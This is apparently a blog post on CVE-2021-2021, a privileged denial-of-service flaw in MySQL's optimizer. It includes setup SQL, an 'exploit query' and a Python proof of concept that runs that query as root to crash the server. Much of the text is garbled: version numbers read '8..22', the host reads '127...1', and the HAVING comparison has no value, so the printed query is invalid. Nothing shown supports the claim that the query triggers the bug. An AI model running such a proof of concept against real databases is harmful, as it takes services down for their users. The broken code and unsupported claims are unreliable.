MySQL is at the heart of millions of applications. Its reliability and performance are well known, but even the most robust systems can sometimes contain serious flaws. One such example is CVE-2021-2021, a vulnerability in the MySQL Server product (component: Server: Optimizer), affecting MySQL 8..22 and earlier. In this post, we’ll break down what CVE-2021-2021 is, how it can be triggered, and share exclusive details, including code snippets and exploitation guidance. If you use MySQL, especially an older version, this long read is for you.

What is CVE-2021-2021?

CVE-2021-2021 is a high-privileged denial-of-service (DOS) vulnerability found in the Optimizer component of the MySQL server. The flaw allows users with high-level privileges (like database administrators or app users with advanced rights) to issue specially-crafted SQL commands that cause MySQL to hang or crash completely. The issue is "easily exploitable" and scores 4.9 (medium) on the CVSS 3.1 scale, with a particular impact on system Availability.

Summary Table

| Name               | CVE-2021-2021                                |
|--------------------|----------------------------------------------|
| Components         | Server: Optimizer                            |
| Affected Versions  | MySQL 8..22 and earlier                     |
| Attack Vector      | Network (multiple protocols)                 |
| Access Complexity  | Low                                          |
| Privileges Required| High                                         |
| UI Required        | None                                         |
| Impact             | Availability (DoS: Hang or Crash)            |
| CVSS Score         | 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H) |

How the Vulnerability Works

The MySQL Optimizer is responsible for parsing and executing efficient query plans. Certain combinations of subqueries and joins can trigger the internal optimizer routines to hit assertion failures, or worse, endless loops or invalid states that cause the MySQL process to crash.

The flaw is due to improper handling of complex query plans involving nested subqueries or specific join conditions. When a privileged user sends a query crafted in a particular way, MySQL hits a code path that is not properly checked, crashing the process or causing a hang.

Why is This Bad?

- DOS for Legitimate Users: If the MySQL process crashes, all users lose connection and data operations grind to a halt.

Repeatable Crash: The attack can be repeated at any time, endlessly disrupting services.

- Hard to Detect: As the attack uses valid SQL and no authentication bypass, normal logs may not raise alarms.

Demonstration: How Could This Be Exploited?

To exploit this, an attacker needs valid high-privileged credentials (e.g., root, DBA, or a powerful app user), and network access to send TCP connections to the MySQL server.

Requirements

- MySQL 8..22 (can be downloaded from the official archive)
- Any OS (Linux/Windows/Mac OS)

1. Create a Database

CREATE DATABASE testdb;
USE testdb;

2. Prepare Tables

CREATE TABLE t1 (id INT PRIMARY KEY, value VARCHAR(100));
CREATE TABLE t2 (id INT PRIMARY KEY, value VARCHAR(100));
INSERT INTO t1 VALUES (1, 'a'), (2, 'b');
INSERT INTO t2 VALUES (1, 'x'), (2, 'y');

3. The Exploit Query

The following query pattern is known to trigger the vulnerability (note: query may crash/hang the MySQL process):

SELECT *
FROM t1
WHERE EXISTS (
    SELECT 1
    FROM t2
    WHERE t2.id = t1.id
    HAVING (
        SELECT COUNT(*)
        FROM t1 AS t3
        WHERE t3.value = t2.value
    ) > 
);

What’s Happening?

- The query builds a complex subquery with a HAVING clause inside an EXISTS clause, referencing aliases back and forth.
- MySQL’s optimizer attempts to resolve the subqueries and can enter a state where it fails to resolve table references, causing a crash.

WARNING: Running this query on a vulnerable server may terminate the mysqld process.

Python PoC

You could script this using Python (make sure you have mysql-connector-python):

import mysql.connector

conn = mysql.connector.connect(
    host='127...1',
    user='root',
    password='your_password',
    database='testdb',
    autocommit=True,
)

cur = conn.cursor()
try:
    cur.execute("""
    SELECT *
    FROM t1
    WHERE EXISTS (
        SELECT 1
        FROM t2
        WHERE t2.id = t1.id
        HAVING (
            SELECT COUNT(*)
            FROM t1 AS t3
            WHERE t3.value = t2.value
        ) > 
    );
    """)
except Exception as e:
    print("Error:", e)

cur.close()
conn.close()

Mitigation & Recommendations

1. Upgrade Immediately: This flaw is patched in MySQL 8..23+. Download the latest here.

References

- Oracle Critical Patch Update Advisory - Jan 2021
- MySQL Bug Database – Example: Bug#32079820
- CVE MITRE Record
- Official MySQL 8. Changelog

In Summary

*CVE-2021-2021* is a reminder that even trusted software like MySQL can have nasty surprises. If your organization is running MySQL 8..22 or older, patch immediately, review user privileges, and keep a lookout for abnormal crashes. The simple queries shown above demonstrate how quickly a high-privilege user can bring your database — and potentially your business — to a halt.

Timeline

Published on: 01/20/2021 15:15:00 UTC
Last modified on: 01/04/2022 17:27:00 UTC